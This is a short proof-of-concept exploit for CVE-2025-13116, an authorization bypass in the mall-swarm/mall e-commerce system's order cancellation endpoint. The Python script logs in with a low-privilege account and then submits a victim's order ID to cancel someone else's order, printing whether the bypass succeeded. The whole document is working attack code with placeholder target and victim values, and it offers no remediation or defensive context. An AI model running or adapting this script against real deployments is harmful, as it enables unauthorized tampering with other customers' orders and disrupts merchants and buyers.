CVE-2025-13116: mall-swarm/mall订单取消接口授权绕过漏洞

import requests # CVE-2025-13116 PoC - mall-swarm/mall Unauthorized Order Cancellation # Target: /order/cancelUserOrder endpoint target_url = "http://target-server/api/order/cancelUserOrder" # Attacker obtains a valid low-privilege session session = requests.Session() # Login with low-privilege account session.post("http://target-server/api/user/login", json={ "username": "attacker", "password": "password123" }) # Exploit: Cancel another user's order by manipulating orderId parameter # Replace ORDER_ID with target victim's order ID malicious_payload = { "orderId": "VICTIM_ORDER_ID" # Any valid orderId can be used } response = session.post(target_url, json=malicious_payload) if response.status_code == 200: print("[+] Order cancelled successfully - Authorization bypass confirmed") else: print("[-] Exploit failed")